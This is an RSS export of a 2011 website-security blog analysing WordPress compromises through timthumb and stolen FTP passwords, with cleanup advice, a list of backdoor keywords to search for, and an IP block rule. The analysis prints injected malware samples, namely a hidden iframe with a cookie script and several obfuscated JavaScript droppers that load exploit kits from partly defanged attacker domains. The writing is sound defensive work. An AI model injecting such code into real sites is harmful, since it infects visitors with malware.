<p>Remove the malicious code from <a href="#wp-config">wp-config.php</a> and <a href="#wp-settings">wp-settings.php</a>. In case of wp-settings.php, it may be easier to replace it with the file from the official WordPress package. For example, here you can get the official wp-settings.php for WordPress 3.2.1 <a href="http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php">http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php</a>. For other versions, select the appropriate tag (version) here: <a href="http://core.svn.wordpress.org/tags/">http://core.svn.wordpress.org/tags/</a>.</p>
<h4 id="prevent">Prevent reinfections</h4>
<p>1. Remove the backdoor code from <strong>wp-config.php</strong> if you haven&#8217;t done it yet. Hackers have full control over your site while it is there.</p>
<p>2. Find and upgrade all themes and plugins that use vulnerable versions of <strong>timthumb.php</strong> (1.x). If there are no official upgrades, consider replacing timthumb.php with the latest version:  <a href="http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php">http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php</a></p>
<p>3. Find and delete all backdoor files that hackers might have uploaded to your site.</p>
<p>3.1 You might want to completely delete <strong>wp-admin</strong> and <strong>wp-includes</strong> directories and then restore them from the official WordPress package.</p>
<p>3.2 Compare all files of WordPress <strong>themes</strong> and <strong>plugins</strong> with their genuine copies provided by their vendors.</p>
<p>3.3 Check what&#8217;s inside the <strong>./cache</strong> directories next to <strong>timthumb.php</strong> files. This is the first location where attackers upload files using the timthumb security hole (of course, those files might be no longer there). Normally, there should be no <strong>.php</strong> files there.</p>
<p>3.4. Check other directories under <strong>wp-content</strong>. There should be no .<strong>php</strong> files below the <strong>uploads</strong> directory.</p>
<p>3.5 Search for the backdoor file I <a href="#backdoors">mentioned</a> in the beginning of this post.</p>
<p>3.6 Scan all files on server for the keywords that can be usually found inside backdoors.</p>
<ul>
<li><span style="color: #993300;">eval(base64_decode</span></li>
<li><span style="color: #993300;">gzuncompress</span></li>
<li><span style="color: #993300;">gzinflate</span></li>
<li><span style="color: #993300;">eval(stripslashes</span></li>
<li><span style="color: #993300;">edoced_46esab</span></li>
<li><span style="color: #993300;">FilesMan</span></li>
</ul>
<p>This is not a complete list. There are many elaborate backdoors that you won&#8217;t find using these searches, but they can help you find more than 80% of backdoors that I regularly come across.</p>
<p><strong>Note</strong>, some of these searches will also return perfectly legitimate files. You&#8217;ll have to verify the legitimacy of the found files yourself.</p>
<p>3.7 Scan logs for suspicious requests. It is usually enough to only check POST requests. In WordPress, every POST request to a <strong>.php</strong> file should be immediately suspicious. The only exceptions are</p>
<ul>
<li>requests WordPress admin interface from your IP address (or addresses of legitimate WordPress users)</li>
<li>requests to <em>wp-cron.php</em> from your server&#8217;s IP address</li>
<li>requests to <em>wp-comments-post.php</em> (readers that post comments)</li>
<li>requests to <em>xmlrpc.php</em>.</li>
</ul>
<p><strong>Call for data:</strong> If your blog was affected by this hack and you have raw logs for the whole November (a couple of the last months of raw logs even better), I would like to <a href="http://blog.unmaskparasites.com/contact/">hear from you</a>. Your logs can help me reconstruct the attack from the very beginning. Thanks for collaboration!</p>
<p>4. Block the &#8220;<span style="color: #993300;">91 .196 .216 .20</span>&#8221; IP address. For example, you can manually add something like this to your topmost <strong>.htaccess</strong> file</p>
<p><code>order allow,deny<br />
deny from 91.196.216.20<br />
allow from all</code></p>
<p>Or you can do it via your host&#8217;s Control Panel.</p>
<p>5. Consider disabling execution of <strong>.php</strong> files in directories where there shouldn&#8217;t be any executable files. E.g. <strong>wp-content/uploads/</strong> or any <strong>images/</strong> directories.</p>
<p>6. If your WordPress administrator&#8217;s user name is &#8220;<strong>admin</strong>&#8220;, create a new user with the administrator role and remove the &#8220;<strong>admin</strong>&#8221; user.</p>
<p>Change passwords of the rest WordPress users. Consider changing MySql password too.</p>
<p>7. Upgrade WordPress to the latest version. The older WordPress you use the more security holes it has.</p>
<h3 id="summary">Summary</h3>
<p>This was a long technical post. But I hope it was worth it to delve into all those details. It is not your typical WordPress hack. Here we can find many new and uncommon tricks and techniques. They may be a little naive and not as efficient as the tricks that we&#8217;ve seen before, but at least I can see some creativity here.</p>
<p>I guess, the buzz around the TimThumb vulnerability helped some new players realize how easy it was to enter the web site hack arena. Imagine that you know that millions of WordPress blogs have this security hole. You only need to hire a PHP developer with some basic knowledge of WordPress who can create a scanner (to find vulnerable blogs), some backdoor scripts and a way to automate the process.  That PHP developer probably didn&#8217;t have access to common exploit tools and had to <em>reinvent the wheel</em>. That&#8217;s why we see so many new tricks.</p>
<p>By the way, here&#8217;s my list of what&#8217;s uncommon in this attack:</p>
<ol>
<li>Backdoor code in <strong>wp-config.php</strong></li>
<li>Malicious PHP code is not obfuscated. In all files.</li>
<li>Backdoor code in <strong>wp-config.php</strong> is placed after a couple of thousand blank lines (the trick I previously saw in .htaccess files only)</li>
<li>Using WordPress hooks in <strong>wp-settings.php</strong> instead on injecting the code directly into theme files (will survive a theme change, but won&#8217;t survive a WordPress upgrade)</li>
<li>Using backdoor code to bypass WordPress admin authentication.</li>
<li>GET requests to backdoors.</li>
<li>Injecting malicious content from a file in a system&#8217;s temporary directory (<strong>/tmp</strong>). (You only need one backdoor per server to change the injected code on multiple hacked blogs)</li>
<li>Using backdoors on compromised sites to conduct <strong>distributed Google searches</strong>.</li>
<li>Changing the injected content from malicious scripts to spammy links.</li>
<li>Hiding links inside an invisible form.</li>
<li>Placing hidden link inside the &lt;<strong>head</strong>&gt; section</li>
</ol>
<p>##</p>
<p>Your comments and additional information on this hack are welcome!</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/24/hackers-target-unpatched-wooframework/">Hackers target unpatched WooFramework</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/">Versatile .CC Attacks</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UzZavXJHlHw:PUa0Ra8_qRY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UzZavXJHlHw:PUa0Ra8_qRY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=UzZavXJHlHw:PUa0Ra8_qRY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=UzZavXJHlHw:PUa0Ra8_qRY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Tweet Week: August 22-28, 2011</title>
		<link>http://blog.unmaskparasites.com/2011/08/29/tweet-week-august-22-28-2011/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/29/tweet-week-august-22-28-2011/#comments</comments>
		<pubDate>Mon, 29 Aug 2011 21:14:48 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[counter-wordpress]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[kwizhveo.php]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[StopBadware]]></category>
		<category><![CDATA[timthumb.php]]></category>
		<category><![CDATA[WooFramework]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=847</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

August 22, 2011
RT @stopbadware: Q&#38;A: @maximweinstein on We Stop Badware™ Web Host program: how responsible hosting providers can fight badware
August 23, 2011
[wordpress.org] two forum threads about the counter-wordpress attack 1 &#38; 2 &#8212; timthumb again
[cio.com.au] Security and Google Apps &#8212; [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-847"></span><br />
<span style="color: #888888;"><strong>August 22, 2011</strong></span></p>
<p style="padding-left: 30px;">RT <a title="StopBadware" href="http://twitter.com/#%21/stopbadware">@stopbadware</a>: Q&amp;A: <a rel="nofollow" href="http://twitter.com/maximweinstein">@maximweinstein</a> on We Stop Badware™ Web Host program: <a href="http://www.thewhir.com/web-hosting-news/082211_QA_Maxim_Weinstein_on_StopBadwares_New_Web_Host_Program">how responsible hosting providers can fight badware</a></p>
<p><span style="color: #888888;"><strong>August 23, 2011</strong></span></p>
<p style="padding-left: 30px;">[wordpress.org] two forum threads about the counter-wordpress attack <a href="http://wordpress.org/support/topic/google-issuing-warnings-about-wp-site-content-from-counter-wordpresscom">1</a> &amp; <a href="http://wordpress.org/support/topic/iframe-hack-3">2</a> &#8212; timthumb again</p>
<p style="padding-left: 30px;">[cio.com.au] <a href="http://www.cio.com.au/article/398067/security_google_apps/">Security and Google Apps</a> &#8212; An interview with Google Enterprise director of security, Eran Feigenbaum</p>
<p style="padding-left: 30px;">RT <a title="StopBadware" href="http://twitter.com/#%21/stopbadware">@stopbadware</a>: Request for comments: <a href="http://blog.stopbadware.org/2011/08/22/seeking-comments-on-best-practices">public draft of new best practices for reporting badware URLs</a> Please RT!</p>
<p><span style="color: #888888;"><strong>August 24, 2011</strong></span></p>
<p style="padding-left: 30px;">[sucuri.net] <a href="http://blog.sucuri.net/2011/08/mass-infection-of-wordpress-sites-counter-wordpress-com.html">Mass infection of WordPress sites (counter-wordpress .com)</a> via <a rel="nofollow" href="http://twitter.com/sucuri_security">@sucuri_security</a></p>
<p style="padding-left: 30px;">[blog.cnizz.com] <a href="http://blog.cnizz.com/2011/08/23/evil-hackers-from-outerspace/">Evil Hackers from Outerspace</a> &#8212; finding  and removing malware &#8211; webmaster&#8217;s story</p>
<p style="padding-left: 30px;"><a rel="nofollow" href="http://twitter.com/sucuri_security">@sucuri_security</a>&#8217;s take on the <a rel="nofollow" href="http://twitter.com/WooThemes">@WooThemes</a> / timthumb / <a href="http://blog.sucuri.net/2011/08/timthumb-php-attacks-now-using-googlesafebrowsing-com.html">googlesafebrowsing attack</a></p>
<p><span style="color: #888888;"><strong>August 25, 2011</strong></span></p>
<p style="padding-left: 30px;">Google Safe Browsing now flags <em>GoogleSafeBrowsing .com</em> and the company, incl. hacked sites. <a href="http://www.unmaskparasites.com/malware-warning-guide/">How to deal with warnings</a></p>
<p><span style="color: #888888;"><strong>August 26, 2011</strong></span></p>
<p style="padding-left: 30px;">RT <a title="Matt Cutts" href="http://twitter.com/#%21/mattcutts">@mattcutts</a>: Scrapers getting you down? <a href="https://docs.google.com/a/google.com/spreadsheet/viewform?formkey=dGM4TXhIOFd3c1hZR2NHUDN1NmllU0E6MQ&amp;ndplr=1">Tell us about blog scrapers you see</a> We need datapoints for testing</p>
<p><span style="color: #888888;"><strong>August 27, 2011</strong></span></p>
<p style="padding-left: 30px;">The <em>kwizhveo</em> timthumb attack (<em>GoogleSafeBrowsing com</em>) now uses  &#8220;<em>statcounter . com</em>&#8221; domain. WTF? Do they want Google to flag the  innocent?</p>
<p style="padding-left: 30px;"><a href="http://pic.twitter.com/PMCFrU9">Screenshot</a> of the hidden &#8220;<em>statcounter .com</em>&#8221; kwizhveo.php iframe in an Unmask Parasites report of an infected blog.</p>
<p><span style="color: #888888;"><strong>August 28, 2011</strong></span></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/phpMyAdmin-updates-close-XSS-hole-1331093.html">phpMyAdmin updates close XSS hole </a></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/Tool-causes-Apache-web-server-to-freeze-Update-1330105.html">Tool causes Apache web server to freeze &#8211; Update</a> and &#8220;Rewrite&#8221; workaround</p>
<p style="padding-left: 30px;">[cnet.com] <a href="http://howto.cnet.com/8301-11310_39-20098098-285/how-to-check-if-a-web-site-is-safe/">How to check if a Web site is safe </a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=JPcnM7BSAXk:gIuV-cR_-G0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=JPcnM7BSAXk:gIuV-cR_-G0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=JPcnM7BSAXk:gIuV-cR_-G0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=JPcnM7BSAXk:gIuV-cR_-G0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/29/tweet-week-august-22-28-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hackers target unpatched WooFramework</title>
		<link>http://blog.unmaskparasites.com/2011/08/24/hackers-target-unpatched-wooframework/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/24/hackers-target-unpatched-wooframework/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 11:37:29 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[kwizhveo.php]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[timthumb.php]]></category>
		<category><![CDATA[WooFramework]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=845</guid>
		<description><![CDATA[When Michael VanDeMar mentioned the malicious &#8220;googlesafebrowsing .com&#8221; domain, I decided to check how  exactly it was used in malware attacks. It&#8217;s quite a popular trick to mimic Google&#8217;s own domains to make malicious code look legitimate. I have a &#8220;collection&#8221; of several dozens on misspelled Google Analytics domains alone that were used for [...]]]></description>
			<content:encoded><![CDATA[<p>When Michael VanDeMar <a href="https://twitter.com/#!/mvandemar/statuses/105888702257045504">mentioned</a> the malicious &#8220;<span style="color: #993300;"><em>googlesafebrowsing .com</em></span>&#8221; domain, I decided to check how  exactly it was used in malware attacks. It&#8217;s quite a popular trick to mimic Google&#8217;s own domains to make malicious code look legitimate. I have a &#8220;collection&#8221; of several dozens on misspelled Google Analytics domains alone that were used for malware distribution. In this case, the domain name was made up rather than misspelled. It referres to <a href="http://code.google.com/apis/safebrowsing/" target="_blank">Google&#8217;s Safe Browsing</a> project and their diagnostic pages that actually use the <em>google.com</em> domain (as most other Google&#8217;s services).<br />
<span id="more-845"></span><br />
Just a few <a href="http://www.bing.com/search?q=site%3Agooglesafebrowsing.com">searches</a> and I figured out the the malicious URL was <span style="color: #993300;"><em>googlesafebrowsing .com/<strong>kwizhveo.php</strong></em></span> . The next step was to find infected sites and the malicious code that used that URL.</p>
<p>Bing somehow found that URL so there should be backlinks. I decided to check the URL using <a href="http://www.majesticseo.com/">MajesticSEO Site Explorer</a> (you can use it to check backlinks to particular URLs as well as whole domains). Bingo! The Site Explorer returned <strong>10,453</strong> backlinks (exactly to <em>kwizhveo.php</em>) from <strong>360</strong> unique domains.</p>
<p>When I checked the pages, I didn&#8217;t find any references to <span style="color: #993300;"><em>googlesafebrowsing .com</em></span>, but all of them contained hidden iframes that opened the <span style="color: #993300;"><em>kwizhveo.php</em></span> on a different domain: <span style="color: #993300;"><em>hxxp://prettymiistmen .us .to/kwizhveo.php</em></span>.  I used a search and found one more domain with the <span style="color: #993300;"><em>kwizhveo.php</em></span> URL: <span style="color: #993300;"><em>hxxp://musiictochapman .us .to/kwizhveo .php</em></span>. MajesticSEO returned almost the same backlinks for this URL. That was obviously the same attack that just updated the injected code and used new disposable domains.</p>
<p>For example, the <span style="color: #993300;"><em>googlesafebrowsing .com</em></span> domain was registered on Aug 17th, 2011 and was in use for two days only: Aug 19-20.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/picture2.jpg" border="0" alt="googlesafebrowsing history" /></div>
<p>Then I watched the infected sites for a day, and during the day, the iframe URL changed several times. This happened synchronously on all infected sites.</p>
<ul>
<li><span style="color: #993300;"><em>hxxp://sexyjju88 .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://freemii69 .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://heidiheernande .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://blaackhatt58 .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://gufmaurr79 .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://freeagcoll .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://prettyrosseande .us .to<em>/kwizhveo.php</em></em></span></li>
<li><span style="color: #993300;"><em>hxxp://coolerikpowwel .us .to/kwizhveo.php</em></span></li>
<li><em><span style="color: #993300;">hxxp://cooldeliia97 .us .to/kwizhveo.php</span></em></li>
<li><span style="color: #993300;"><em>hxxp://bastalevarrga .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://seveende98 .us .to/kwizhveo.php</em></span></li>
<li><span style="color: #993300;"><em>hxxp://statcounter .com/kwizhveo.php</em></span></li>
</ul>
<h3 id="woo">WooFramework</h3>
<p>Let&#8217;s get back to the infected sites. All <strong>372</strong> infected sites that I found via MajesticSEO are WordPress blogs (I guess, the may be more infected sites). And it was easy to notice that almost all of them used themes built upon various version of <a href="http://www.woothemes.com/wooframework/">Woo Framework</a>, the engine behind all popular premium WooThemes. Here&#8217;s how it looks in <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> reports.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/picture1.png" border="0" alt="infected sites that uses WooFramework" /></div>
<h3 id="timthumb">Timthumb.php vulnerability</h3>
<p>As with most of the recent WordPress hacks, I believe the timthumb vulnerability was the attack vector in this case too. WooFramework uses this file. They know about the problem. Moreover they <a href="http://www.woothemes.com/2011/08/timthumb-security-flaw-patch/">patched their framework in the beginning of August (WooFramework v<strong>4.4.2</strong>)</a> and began to notify webmasters who used vulnerable versions of their themes via WordPress Dashboard. Apperantly, not all webmasters listened to them and left their themes unpatched.</p>
<h3 id="code">Malicious code</h3>
<p>The injected iframe code looks like this:</p>
<p><code>&lt;ifr ame src="<strong>hxxp://freemii69. us .to/ kwizhveo.php</strong>" width="<strong>1</strong>" height="<strong>1</strong>" frameborder="0"&gt;<br />
&lt;/iframe&gt;</code></p>
<p>The iframe is always bundled with some strange and rather pointless JavaScript code that calls itself  &#8220;Wordpress Counter&#8221; (any ideas what the purpose of this code is besides making the iframe tag less prominent?):</p>
<p><code>&lt;!-- Wordpress Counter --&gt;<br />
&lt;script language="javascript"&gt;<br />
var ExpDate = new Date ();<br />
ExpDate.setTime(ExpDate.getTime() + (7 * 24 * 60 * 60));<br />
SetCookie("<strong>MTPT</strong>","1",ExpDate, "/");<br />
function SetCookie (name, value) {<br />
var argv = SetCookie.arguments;<br />
var argc = SetCookie.arguments.length;<br />
var expires = (argc &gt; 2) ? argv[2] : null;<br />
var path = (argc &gt; 3) ? argv[3] : null;<br />
var domain = (argc &gt; 4) ? argv[4] : null;<br />
var secure = (argc &gt; 5) ? argv[5] : false;<br />
document.cookie = name + "=" + escape (value) +<br />
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +<br />
((path == null) ? "" : ("; path=" + path)) +<br />
((domain == null) ? "" : ("; domain=" + domain)) +<br />
((secure == true) ? "; secure" : "");<br />
}<br />
&lt;/script&gt;<br />
&lt;ifr ame src="<strong>hxxp://freemii69 .us .to/kwizhveo .php</strong>" width="<strong>1</strong>" height="<strong>1</strong>" frameborder="0"&gt;<br />
&lt;/iframe&gt;<br />
&lt;!-- Wordpress Counter --&gt;</code></p>
<p>The placement of the code suggests that it must have been injected into WordPress theme files. Most likely into <em><strong>header.php</strong></em>.</p>
<h3 id="detection">Malware detection</h3>
<p>In my case, the malicious iframe tried to push some Java exploit (<em>ardmbsesalkt.jar</em>). It only happens when you visit the infected page for the first time.</p>
<p>None of the <strong>372</strong> domains in my list are currently blacklisted by Google. And the currently used malicious domains are not blacklisted either. So don&#8217;t rely on your browser and Google. If you use Firefox, the <a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/">NoScript</a> extension is your best friend.</p>
<h3 id="webmasters">To webmasters of WordPress blogs</h3>
<p>If you use WooThemes, make sure to <a href="http://www.woothemes.com/2011/08/timthumb-security-flaw-patch/">upgrade your WooFramework</a> ASAP!</p>
<p>Even if you don&#8217;t use WooThemes, check whether any of your themes or plugins use <em><strong>timthumb.php</strong></em> (or <em><strong>thumb.php</strong></em>). If you find such themes or/and plugins, you should upgrade them ASAP. If there are no available updates that patch the timthumb vulnerability, you should update the timthumb.php file yourself. You can get it here: <a href="http://code.google.com/p/timthumb/" target="_blank">http://code.google.com/p/timthumb/</a>.</p>
<p>It is not enough to remove the malicious code from your files. Most likely hackers uploaded multiple backdoor files to your server. To stop the attack, you should find and remove all of them.</p>
<p><strong>Sidenote</strong>: One of the hacked sites that contained the malicious &#8220;<span style="color: #993300;"><em>GoogleSafeBrowsing .com</em></span>&#8221; iframe (and still contains newer variants of that iframe) is the <em>InsideGoogle.com</em> blog that aims to <em>educate the public and opinion leaders about Google’s dangerous dominance over the Internet, computing and our online lives</em>. Now they can use one more argument: the dominance of Google&#8217;s services allows cybercriminals to mask they activity using Google-like domain names ;-)</p>
<p>##<br />
If you have any additional information about this attack, please share it in the comments below.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/">Versatile .CC Attacks</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/">Following the Black Hat SEO Traces</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=I3k2FhpnVnA:z8ClZ2MUOl8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=I3k2FhpnVnA:z8ClZ2MUOl8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=I3k2FhpnVnA:z8ClZ2MUOl8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=I3k2FhpnVnA:z8ClZ2MUOl8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/24/hackers-target-unpatched-wooframework/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Massive Script Injection (k985ytv)</title>
		<link>http://blog.unmaskparasites.com/2011/08/23/massive-script-injection-k985ytv/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/23/massive-script-injection-k985ytv/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 09:39:43 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[BlackHole]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[k985ytv]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=842</guid>
		<description><![CDATA[I&#8217;d like to point webmasters at a great article on the Armorize blog. It is about a new massive script injection attack that seems to have affected a few thousand websites. In my post, I will summarize the information specifically for webmasters.

It all began about a week ago and I still see quite a few [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;d like to point webmasters at a <a href="http://blog.armorize.com/2011/08/k985ytvhtm-fake-antivirus-mass.html">great article on the Armorize blog</a>. It is about a new massive script injection attack that seems to have affected a few thousand websites. In my post, I will summarize the information specifically for webmasters.<br />
<span id="more-842"></span><br />
It all began about a week ago and I still see quite a few infected sites. Attackers use <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP passwords</a> to inject malicious scripts into selected legitimate web pages on compromised sites. The targeted files usually have the following words in their names: <strong>index</strong>, <strong>home</strong>, <strong>default</strong>, <strong>auth</strong>, <strong>login</strong>.</p>
<p>The scripts can be injected right after the <strong>&lt;body&gt;</strong> tag or at the very top or bottom of the HTML code. As the Armorize article shows, the first wave of the injection was buggy and you might find the script text displayed on your web pages.</p>
<p>Hackers update the malicious scripts every day. If you clean up your site but don&#8217;t change passwords, you&#8217;ll find your site reinfected quite soon. Because of a buggy implementation of the script updater, one page can contain multiple instances of the malicious scripts (I&#8217;ve seen 8 scripts on the same page).</p>
<p>At this point, I know about 5 variations of the injected script:</p>
<p><code>wa='t';p='ht'; f='k98';tb ='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(t b);oz=v.concat(k);db=p concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=docu ment.createEl ement(se);ip.setAttribute('width','1');ip.setAttr ibute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body appendChild(ip);</code></p>
<p><code>ez='://';la='k9';vp='85y';ma='zi.';s='c';f='m';kg='cub';i='t';zz=....setAttribute(x,p);document.body.appendChild(jc);</code></p>
<p><code>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl=...setAttribute(gg,qt);document.body.appendChild</code></p>
<p><code>mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m=...setAttribute(xl,xp);document.body.appendChild(bn);</code></p>
<p><code>yd='co';mh='m';im='a.';rm='h';my='5';t='m/';qg='v';vp='if';x=...setAttribute(qm,ka);document.body.appendChild(tq);</code></p>
<p>All 5 variants are can be easily detected with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/k985ytv-detected.png" border="0" alt="k985ytv detected" /></div>
<p>The script creates invisible iframes that load browser exploits (Black Hole) from the following sites:</p>
<ul>
<li><span style="color: #993300;">hxxp://<strong>zirycatum .com</strong>/k985ytv.htm</span></li>
<li><span style="color: #993300;">hxxp://<strong>cubyfonizi .com</strong>/k985ytv.htm</span></li>
<li><span style="color: #993300;">hxxp:// <strong>numudozaf  .com</strong>/k985ytv.htm</span></li>
<li><span style="color: #993300;">hxxp://<strong>hysofufewobe .com</strong>/k985ytv.htm</span></li>
<li><span style="color: #993300;">hxxp://<strong>rewajuseva .com</strong>/k985ytv.htm</span></li>
</ul>
<p>Google blacklists infected sites. Their Safe Browsing diagnostic pages typically say something like this:</p>
<blockquote><p>Malicious software is hosted on 4 domain(s), including <span style="color: #993300;">dddnvf .com</span>/,<span style="color: #993300;"> rprlpb .com</span>/, <span style="color: #993300;">numudozaf .com</span>/.</p>
<p>2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <span style="color: #993300;">zirycatum .com</span>/,<span style="color: #993300;"> numudozaf .com</span>/.</p></blockquote>
<h3>Remediation</h3>
<p>1. Scan all computers that have access to your website for malware.</p>
<p>2. Change all site passwords. Don&#8217;t save new passwords in FTP programs. Configure them so that they ask for a password every time you connect to your site. If you work with multiple sites and don&#8217;t like the idea of memorizing many passwords, consider using password managers like <a href="http://www.keepass.info">KeePass</a> &#8212; they save your passwords much more securely. Remove stored passwords from <a href="http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/">FTP programs that you no longer use</a>.</p>
<p>3. Consider using SFTP instead of FTP that sends your passwords in plain text (they can be intercepted by malware on your computer and from third-party computers when you use Wi-Fi). Most popular FTP programs support SFTP, so the switch should be painless.</p>
<p>4. Remove malicious scripts from files on server. The easiest way to do it is to restore your site from a clean fresh backup copy.</p>
<p>4. If your site is blacklisted by Google, <a href="http://www.unmaskparasites.com/malware-warning-guide/#request">request a malware review</a> via Google Webmaster Tools (Diagnostics-&gt;Malware).</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
